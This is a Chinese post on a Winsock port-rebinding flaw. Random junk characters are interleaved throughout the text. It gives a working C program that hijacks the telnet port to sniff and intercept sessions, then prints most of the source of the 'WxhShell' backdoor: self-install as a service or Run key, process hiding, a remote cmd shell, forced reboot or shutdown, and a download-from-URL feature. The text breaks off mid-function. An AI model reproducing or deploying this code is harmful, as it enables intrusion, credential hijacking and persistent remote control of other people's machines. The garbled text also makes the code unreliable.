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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R25-/6_V> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W+/2c4$F3 h.D^1 saddr.sin_family = AF_INET; r"[L0Cbb fU`T\ saddr.sin_addr.s_addr = htonl(INADDR_ANY); YR8QO-7
.) pLJeajv)z bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .> ,Z kS XJ\_V[WA 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2+Vp'5>& 6,zDBax 这意味着什么?意味着可以进行如下的攻击: ]wR6bEm7 dL(4mR8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D0KELAcY i2U/RXu 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y0y+%H- qAbd xd[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d>~`j8,B e~*S4dKR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 $WJy?_c iI}nW 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0O^U{#*$I xT/9kM&}L 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0*{@E%9 H<{*ub4'L* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @@; 1%z 6iyt2qkh #include
Jb6& #include H'']J9O #include >LCjtm\ #include LsnXS9_ DWORD WINAPI ClientThread(LPVOID lpParam); 8vu2k> int main() %K`4k.gN { {6DpPw^ " WORD wVersionRequested; *eMLbU7 DWORD ret; `}ZL'\G WSADATA wsaData; |})rt5|f1! BOOL val; ruWye1X; SOCKADDR_IN saddr; w
zdxw$E SOCKADDR_IN scaddr; z^"?sd int err; $/os{tzjd SOCKET s; k:W=5{[ SOCKET sc; m/cx|b3hqv int caddsize; l; */M.B HANDLE mt; B piEAwh DWORD tid; S[ i$e wVersionRequested = MAKEWORD( 2, 2 ); 3!1&DII4 err = WSAStartup( wVersionRequested, &wsaData ); xvHOY: if ( err != 0 ) { "_Zh5
g printf("error!WSAStartup failed!\n"); .!9Vt# return -1; m2wp m_vV# } 5NFq7&rJ6 saddr.sin_family = AF_INET; e-1;dX HL ;k-g_{M //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }D(DU5r uTxX`vH@! saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s-fKh` saddr.sin_port = htons(23); McO@p=M if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9j9YQ2 { O#A8t<f|M printf("error!socket failed!\n"); 0,+EV, return -1; "Fo } rE9Ta8j6 val = TRUE; 3{I=.mUUm //SO_REUSEADDR选项就是可以实现端口重绑定的 wrhBH;3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :A,O(
{ e?|d9;BO printf("error!setsockopt failed!\n"); 5R&x{jf$ return -1; &%@/Dwr } wbn^R' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7cy+Nz //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;B,nzx(L //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6oPUYn- `4se7{'UK` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8Ix-i { tuX =o
ret=GetLastError(); `"i^'VL, printf("error!bind failed!\n"); z&\Il#'\m+ return -1; {(8U8f<'=y } YWybPD4\( listen(s,2); >cC Gx while(1) !k4 }v'= { 0-6:AHix caddsize = sizeof(scaddr); SjFF=ib //接受连接请求 HCI'q\\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yIn/Y 0No if(sc!=INVALID_SOCKET) gNG0k$nP { vsOdp:Yp9! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eV@4VxaZ if(mt==NULL) kq-mr { g|_HcaW printf("Thread Creat Failed!\n"); $1:}(nO, break; "FD<^
} _Ac/i r[,: } Krt$=:m|1 CloseHandle(mt); f>.`xC{ } ^\xCqVk_R closesocket(s);
FF5tPHB WSACleanup(); N[- %0 return 0; nL "g2 3 } 0[_O+u DWORD WINAPI ClientThread(LPVOID lpParam) 9/@FADh { m9\@kA SOCKET ss = (SOCKET)lpParam; z36brv<_'p SOCKET sc; WRN8#b unsigned char buf[4096]; WsG"x>1n SOCKADDR_IN saddr; Fr938q6^- long num; Uqb]e?@ DWORD val; g6x/f<2x DWORD ret; TyxU6<>4J4 //如果是隐藏端口应用的话,可以在此处加一些判断 (CKhY~,/u //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ,(1vEE[9- saddr.sin_family = AF_INET; (,d4"C saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v9X7-GJ~ saddr.sin_port = htons(23); `</=AY> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C}dKbs^g| { _stI?fz*4k printf("error!socket failed!\n"); B]+7 JB return -1; [u!p- } 0R2S@4%Y val = 100; pe`TH::p if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y3 Pz00x { :pL1F)-* ret = GetLastError(); r_qncy,F return -1; ^=4I|+P,6. } (9WL+S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e
_SoM!; { (1saof*p% ret = GetLastError(); !;xf>API return -1; ^?sSsHz } VuJfo9 `E if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MbT
ONt?~v { [="g|/M) printf("error!socket connect failed!\n"); kx;xO>dC closesocket(sc); B` t6H closesocket(ss); :V5!C$QV return -1; tS_xa } bv:0EdVr while(1) n',9#I(!L { jWO&SW so //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )sqp7["- //如果是嗅探内容的话,可以再此处进行内容分析和记录 : pE-{3I //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \S|VkPv num = recv(ss,buf,4096,0); i4{ / if(num>0) H`+]dXLB send(sc,buf,num,0); U#UVenp@ else if(num==0) Kd AR)EU> break; pUCEYR num = recv(sc,buf,4096,0); ^^t]vojX if(num>0) 82^
z-t{ send(ss,buf,num,0); ".*a) else if(num==0) cAsSN.HFS break; gnKU\>2k } 5~ *'>y closesocket(ss); N>F2
c)rm closesocket(sc); On2Vf*G@| return 0 ; kG|>_5 } ';fU.uy dcrJ,>i} ^Yf)lV&[ ========================================================== dctA`W@:- fmZzBZ_ 下边附上一个代码,,WXhSHELL Q9 x` Uy {=pP`HD0 ========================================================== z</XnN Muc*?wB` #include "stdafx.h" ^,ZvKA"}+/ ya*q; D #include <stdio.h> btB(n<G2# #include <string.h> !)51v { #include <windows.h> W~+!"^<n #include <winsock2.h> |~=?vw<W #include <winsvc.h> zn?a|kt #include <urlmon.h> ]
fwTi(4y 6U,U[MWJ #pragma comment (lib, "Ws2_32.lib") 4/mj"PBKL #pragma comment (lib, "urlmon.lib") ~3* ZG >m;|I/2@ #define MAX_USER 100 // 最大客户端连接数 JUaKj@a| #define BUF_SOCK 200 // sock buffer l+3%%TV@L #define KEY_BUFF 255 // 输入 buffer &a2V-|G', !,-qn)b #define REBOOT 0 // 重启 Li<266#A! #define SHUTDOWN 1 // 关机 UmP?}Xw6 f Dm}J #define DEF_PORT 5000 // 监听端口 u[6`Jr~ k{u%p < #define REG_LEN 16 // 注册表键长度 ](
U%1 #define SVC_LEN 80 // NT服务名长度 ?[L0LL?ce Jb)eC?6O // 从dll定义API [u9S+:7" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B#Oc8`1Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {*5;:QnT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7:R{~|R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m;tY(kO |]]pHC_/W // wxhshell配置信息 Jz:W-o struct WSCFG { 6&xW9' 6b: int ws_port; // 监听端口 XM5;AcD char ws_passstr[REG_LEN]; // 口令 H?/cG_^y0 int ws_autoins; // 安装标记, 1=yes 0=no 7]HIE]# char ws_regname[REG_LEN]; // 注册表键名 _
/28Cw char ws_svcname[REG_LEN]; // 服务名 K&"Pm9
char ws_svcdisp[SVC_LEN]; // 服务显示名 &oK/]lub char ws_svcdesc[SVC_LEN]; // 服务描述信息 R^Eu}?<f
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~M9n<kmE int ws_downexe; // 下载执行标记, 1=yes 0=no \SH D char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" !\D]\|Bo char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?` ZGM GWkJ/EX }; (j"~]T!)1 o4I!VK(C#s // default Wxhshell configuration fb=$<0Ocj struct WSCFG wscfg={DEF_PORT, PB3!; "xuhuanlingzhe", VkP:%-*#v 1, Xm:gD6;9 "Wxhshell", Iy1Xn S* "Wxhshell", C_khd" "WxhShell Service", !^"!fuoNC "Wrsky Windows CmdShell Service", ]@<3 6ByM "Please Input Your Password: ", |Nx!g fU 1, K&a]pL6D " http://www.wrsky.com/wxhshell.exe", {]_{BcK+ "Wxhshell.exe" mLxwJ }; RT+30Q? hK9oe%kU~ // 消息定义模块 }zfLm`vJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aBtfZDCfzp char *msg_ws_prompt="\n\r? for help\n\r#>"; 4`5Qt=} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; E,yzy[gl char *msg_ws_ext="\n\rExit."; O t4+VbB6 char *msg_ws_end="\n\rQuit."; R;-FZ@u/ char *msg_ws_boot="\n\rReboot..."; IM&7h!
l"| char *msg_ws_poff="\n\rShutdown..."; '8pPGh9D char *msg_ws_down="\n\rSave to "; <n2{+eO ThqfZl=V char *msg_ws_err="\n\rErr!"; a!J ow?( char *msg_ws_ok="\n\rOK!"; L4A/7Ep 63dtO{:4 char ExeFile[MAX_PATH]; 2Z9gOd<M~ int nUser = 0; G|Yp<W%o HANDLE handles[MAX_USER]; Px?At5 int OsIsNt; MKhL^c- 0-MasI&b SERVICE_STATUS serviceStatus; +mQC:B7> SERVICE_STATUS_HANDLE hServiceStatusHandle; g}og@UY7# IOES3 // 函数声明 g#<?OFl int Install(void); rxK[CDM, int Uninstall(void); d~f0]O int DownloadFile(char *sURL, SOCKET wsh); 9qO:K79| int Boot(int flag); BMsy}08dQ void HideProc(void); wk
<~Y 3u int GetOsVer(void); ^VYZ% int Wxhshell(SOCKET wsl); iO= uXN1g void TalkWithClient(void *cs); Ue\oIi int CmdShell(SOCKET sock); Q\>SF int StartFromService(void); cW|Zgz8vv int StartWxhshell(LPSTR lpCmdLine); #Uk6Fmu] lJQl$Wx^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7)It1i- VOID WINAPI NTServiceHandler( DWORD fdwControl ); &\D<n;3 Sw9mrhzJfe // 数据结构和表定义 G;#t6bk SERVICE_TABLE_ENTRY DispatchTable[] = IhKas4 { +z?f,`.* {wscfg.ws_svcname, NTServiceMain}, \7w85$ {NULL, NULL} 5}^08Xl }; L5|;VH SE-, 1p // 自我安装 n)7$xYuH int Install(void) ]be2jQx3 { \c^jaK5 char svExeFile[MAX_PATH]; O
NzdCgY HKEY key; kk./-G strcpy(svExeFile,ExeFile); 3:gO7Uv
v@1Jhns // 如果是win9x系统,修改注册表设为自启动 [67f; ?b if(!OsIsNt) { hr"+0KeX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZjbG&oc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XlcDF|?{. RegCloseKey(key); Evgq}3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0JL6EL>_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k.f:nv5JO RegCloseKey(key); iP\&fZY_ return 0; vh.tk^& } "YU~QOGx@ } ^9~%=k= } @9P9U`ZP else { )s[S.`STz H4",r5qw: // 如果是NT以上系统,安装为系统服务 y/*Tvb #TJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =@/^1.` if (schSCManager!=0) [*E.G~IS` { wbKBwI5w SC_HANDLE schService = CreateService !x /Z" ( Pb&+(j schSCManager, @MH]s [{o\ wscfg.ws_svcname, ?PtRb:RHt wscfg.ws_svcdisp, s|`)' SERVICE_ALL_ACCESS, /'^>-!8_1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tl#s: SERVICE_AUTO_START, siZ_JJW SERVICE_ERROR_NORMAL, L. ?dI82c svExeFile, 5Jd {Ev NULL, hf5SpwxLiH NULL, /3%xQK>% NULL, ~4gKAD NULL, &jd<rs5} NULL }ZGpd9D ); &8L\FAY0%9 if (schService!=0) 9rc
n*sm { j@\/]oL^We CloseServiceHandle(schService); Gl:T CloseServiceHandle(schSCManager); _jKVA6_E strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eTHh strcat(svExeFile,wscfg.ws_svcname); 6u3(G j@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <T[ui RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); epyYo&x} RegCloseKey(key); m)w-mc return 0; qnV9TeU) } >5W"a?( } \>azY
g CloseServiceHandle(schSCManager); y{P9k8v!z } !sWBj'[> } 2{:
J1'pC ,QAp5I%3= return 1; Y}z?I%zL } nit7|T@^ *dgNpJ 9 // 自我卸载 |.W;vc < int Uninstall(void) l[{}ZKZ { z3LPR:&Z HKEY key; C^O^Jj5X% ;g9:0,xT4 if(!OsIsNt) { {-qTU6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k=
1+mG RegDeleteValue(key,wscfg.ws_regname); Jtk(yp{Zz RegCloseKey(key); Lxrn#Z eM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2 -8:qmP( RegDeleteValue(key,wscfg.ws_regname); fbkjK`_q RegCloseKey(key); "b7C0NE return 0; IV*$U7~ } >:|q J$J. } nP5fh_/ } 1OS3Gv8jc~ else { POs~xaZ`H %W@IB8]Vr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ( "z;Q?( if (schSCManager!=0) S3wH
M { 9h pM*wt SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YJsi5 if (schService!=0) RjHpC7b*% { ?!-im*~w if(DeleteService(schService)!=0) { wB"Gw` D CloseServiceHandle(schService); brot&S2P>< CloseServiceHandle(schSCManager); T6#GlO)8) return 0; 11+_OC2-
} !7?wd^C'f CloseServiceHandle(schService); L<`g}iw } 9x,+G['Zt CloseServiceHandle(schSCManager); )5x?Qn (B } Fowh3go } A[a+,TN{ P://Zi6> return 1; S45_-aE } ,BAF?}04= Z8UM0B=i // 从指定url下载文件 -C<aB750O) int DownloadFile(char *sURL, SOCKET wsh) Wno5B/V { #IDCCD^1= HRESULT hr; ^123.Ru|t char seps[]= "/"; w7u >|x! char *token; `$- Ib^ char *file; )FPbE^s( char myURL[MAX_PATH]; m,O!Mt char myFILE[MAX_PATH]; E~^'w.1 ="K>yUfcFl strcpy(myURL,sURL); ObzlZP
r@ token=strtok(myURL,seps); ry"zec
B while(token!=NULL) (7,Awf5D~ { wYG0*!Vj file=token; 3}Qh`+Yj] token=strtok(NULL,seps); K4~Ox } 5Bo)j_Qo Z]d]RL&r GetCurrentDirectory(MAX_PATH,myFILE); qI@_ strcat(myFILE, "\\"); 2=EKAg=S strcat(myFILE, file); :_ox8xS4 send(wsh,myFILE,strlen(myFILE),0); Zlo,#q send(wsh,"...",3,0); ")
D!OW] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qC1@p?8$ if(hr==S_OK) wt;aO_l return 0; xkovoTzV else FeLP!oS> return 1;
V;jz0B /G ;yxdb } >Z%`&D~u Y2n*T
KXI, // 系统电源模块 63=m11Z4 int Boot(int flag) 'o L8Z { qzz'v HANDLE hToken; M5uN1* TOKEN_PRIVILEGES tkp; !4:,,!T oDa{HP\O]W if(OsIsNt) { TZg7BLfy OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _!7o LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |sz9l/,lG tkp.PrivilegeCount = 1; (i8t^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %3j5Q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L8ke*O$ if(flag==REBOOT) { q0wVV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (6nw8vQ return 0; HenJlo } ~@lNBF else { F04Etf
2k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R8l9i2 return 0; xJCpWU3wM } xTT>3Fj } xFZq6si? else { s? Kn,6Y if(flag==REBOOT) { }T,uw8?f! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CggEAi~ return 0; O;2 u1p'iP } b3+PC$z2h else { S6]': if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1oPT8)[U return 0; >q`X%&l_ } "dOzQz*E } eAMT7 2_ zKNk(/y return 1; `Nj|}^A } Bh?;\D'YC ,ME9<3Ac // win9x进程隐藏模块 o9i\[Ul void HideProc(void) '#PT C,0UJ { uZ+< zlfm})+G HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EeO{G*pq if ( hKernel != NULL ) W=!f { rAKdf?? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I1gu<a ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }wVrmDh \ FreeLibrary(hKernel); !T*izMX} } 9=|5-?^ jJ|;Nwm<[ return; ^ ;a[v^&9 } y.zQ ` J}JnJV8|G // 获取操作系统版本 4tI~d8?pk+ int GetOsVer(void) K_i2%t3 { ZAE;$pkP OSVERSIONINFO winfo; jkq+j^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H|Ems}b GetVersionEx(&winfo); a|.u; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )-(NL!?` return 1; o0 Ae*Y0 else < -Nj return 0; l_:%?4MA } )7^jq| &kG<LGXP# // 客户端句柄模块 -Q;
w4@ int Wxhshell(SOCKET wsl) {-xnBx { nB.p}k SOCKET wsh; ]arP6iN+ struct sockaddr_in client; !duR7a DWORD myID; EO5Vg gP3[=a"\ while(nUser<MAX_USER) )Ii=8etdv { zy|hf<V int nSize=sizeof(client); >97N
$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =["GnL*!0 if(wsh==INVALID_SOCKET) return 1; [Mi~4b { T.VB~C handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?CIa)dhu if(handles[nUser]==0) @9-qqU@ closesocket(wsh); G.Q+"+*^ else 4Xz|HU? nUser++; 6R25Xfm_| } ?g'l/xuRe WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2,+H;Ypi! 7P return 0; <t8}) } 2h=RNU| wNlp4Z'[ // 关闭 socket fRiHs\+ void CloseIt(SOCKET wsh) 8L:0Wp { (f)QEho7 closesocket(wsh); FEkx&9] nUser--; s[hD9$VB> ExitThread(0); W/ERqVZR] } R$q:Ct %vW@_A~ // 客户端请求句柄 }{$@|6)R void TalkWithClient(void *cs) HkrNt/] { N67m=wRx FX{Sb" SOCKET wsh=(SOCKET)cs; /O9z-!Jz char pwd[SVC_LEN]; aa|xZ char cmd[KEY_BUFF]; C-8@elZ1 char chr[1]; <*L8kNykK int i,j; E:2Or~ NunT1ved while (nUser < MAX_USER) { [Mx+t3M p|zW2L if(wscfg.ws_passstr) { x`4">:IA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [8ih-k //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o.,hCg)X //ZeroMemory(pwd,KEY_BUFF); 8O]$)E i=0; |q?A8@\u while(i<SVC_LEN) { c5JxKU_ >B==*,| // 设置超时
dwRJ0D]& fd_set FdRead; 37VSE@Z+ struct timeval TimeOut; .k}h'nE FD_ZERO(&FdRead); Na4\)({ FD_SET(wsh,&FdRead); 0VPa=AW TimeOut.tv_sec=8; d2pVO]l YZ TimeOut.tv_usec=0; ZPXxrmq% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v''$qMQ) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MZ0 J/@( ,ecFHkT> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]\{EUx9 pwd =chr[0]; _o;alt if(chr[0]==0xd || chr[0]==0xa) { L~\Ir pwd=0; HM`;%0T0( break; 2gA6$s7 } _T1|_9b i++; &Mol8=V) } q:fkF^> KcHW>IBxdv // 如果是非法用户,关闭 socket yovC~ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2TdcZ<k}J } C&\#{m_1B d;K,2 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
W+e send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ikUG`F%W Ay[6rUO while(1) { 8/k*"^3 F8q|$[nH ZeroMemory(cmd,KEY_BUFF); BPW2WSm@< U2;_{n*g% // 自动支持客户端 telnet标准 WmeV[iI j=0; {$Qw]?Yv while(j<KEY_BUFF) { Z<`QDBN"4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3qP!
(* cmd[j]=chr[0]; nBR4j?':i if(chr[0]==0xa || chr[0]==0xd) { yN9/'c~ cmd[j]=0; YH@^6Be9 break; +d<o2n4! } eGjEO&$ j++; *5u0`k^j } 'bTtdFvJ q>t#5Z81 // 下载文件 b}WU if(strstr(cmd,"http://")) { @u?m4v{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); P9BShC5 if(DownloadFile(cmd,wsh)) RK< uAiU send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8K'3iw>z else G@s
rQum( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `#R[x7bA1 } W2'u]1bs else { &=~Jw5WK f-^JI*hj switch(cmd[0]) { _vm ~yKId 9J*.'Y // 帮助 K9]L>Wj case '?': { ",Mr+;;:[ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FG/1!8F break; ka0MuQM } !#3v<_]#d // 安装 Ejmpg_kux case 'i': { @P@?KZ..v! if(Install()) ''tCtG"
Xi send(wsh,msg_ws_err,strlen(msg_ws_err),0); >4
VN1^ else }"Clv/3_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qu|H_<8g break; 1aDx 6Mq } 4}`z^P<C // 卸载 Qhy!:\&1 case 'r': { 5<YV`T{5Kl if(Uninstall()) yvv]iRk< send(wsh,msg_ws_err,strlen(msg_ws_err),0); O |!cPB: else yw\Q>~$n[= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {OIB/ break; =bgWUu\F } kntYj}F( // 显示 wxhshell 所在路径 W[/Txc0$ case 'p': { qz95) char svExeFile[MAX_PATH]; 0~4Ww=# strcpy(svExeFile,"\n\r"); E6XDn`: strcat(svExeFile,ExeFile); \xG_q>1_ send(wsh,svExeFile,strlen(svExeFile),0); @q]4]U) break; 6+!$x?5|NP } -!q^/ux // 重启 - ({h @ case 'b': { !y+uQ_IS@ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *O_>3Hgl if(Boot(REBOOT)) xu\s2x$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); w$iQ,-- else { R#HVrzOO|T closesocket(wsh); ^p)#;$6b ExitThread(0); 8wV`mdKN } FRa>cf4 break; :er(YWF: } F%P"T%| // 关机 $7" Y/9Y case 'd': { 0nbY~j$A= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (@m/j2z if(Boot(SHUTDOWN)) M0yv=g send(wsh,msg_ws_err,strlen(msg_ws_err),0); ml@;ngmp. else { `J]e.K closesocket(wsh); $Q"D>Qf{G ExitThread(0); #/_{(P } 't6l@_x break; ZLP/&`>8
} gFqF&t // 获取shell #N"m[$;QR case 's': { E5!vw@, CmdShell(wsh); \HXq~Y closesocket(wsh); zZ6m`]{B9? ExitThread(0); 4_kY^"*#" break; }ZK%@b> } ,~ q:rh+ // 退出 ^"<x4e9+j case 'x': { 'Lq+ONX5 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); & .0A% CloseIt(wsh); {0~\ T[qm break; s]]lB018O\ } ;4l8Qg
7 // 离开 ?VlGTMaS+ case 'q': { ~UJ.A<>Fh send(wsh,msg_ws_end,strlen(msg_ws_end),0); -L+kt_> closesocket(wsh); ,OWk[0/ WSACleanup(); UB/"&I uo exit(1); h4jo<yp\ break; .fbY2b([ } ?5FlbiT } !B 4z U:d }
9u^M{6 )X?oBNsj // 提示信息 FRuPv6 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {CV+1kz } r4pX47H } 58XZ]Mc0 " i:[|7 return; q>Di|5<y } NB1KsvD{ 1Y87_o'd // shell模块句柄 SV@*[r int CmdShell(SOCKET sock) f`:GjA,J$ { - w*fS,O STARTUPINFO si; PChe w3 ZeroMemory(&si,sizeof(si)); C7ug\_,s si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vhPlH0 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
yUj`vu2 PROCESS_INFORMATION ProcessInfo; o3V\ char cmdline[]="cmd"; <Y."()}GeH CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o2X95NiH return 0; :`e#I/, } N"}>);r Xf_#O'z // 自身启动模式 mFg$;F int StartFromService(void) g'KxjjYT, { ffG<hclk typedef struct hH 5}%/vF { TKM^ DWORD ExitStatus; 4^uSW&`;/ DWORD PebBaseAddress; E{EO9EI DWORD AffinityMask; KJRAW]?{ DWORD BasePriority; +!0K]$VZs ULONG UniqueProcessId; 0S^&A?$= ULONG InheritedFromUniqueProcessId; qmFG } PROCESS_BASIC_INFORMATION; kL%ot<rt)w PQDLbSe)\ PROCNTQSIP NtQueryInformationProcess; +=jS! Bhxs(NO static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yI 2UmhA static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3l%Qd< 5afD;0D5TI HANDLE hProcess; R|n PROCESS_BASIC_INFORMATION pbi; Xd=KBB[r? gzIx!sc HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [02rs@c> if(NULL == hInst ) return 0; tGgxI D /kY9z~l g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst 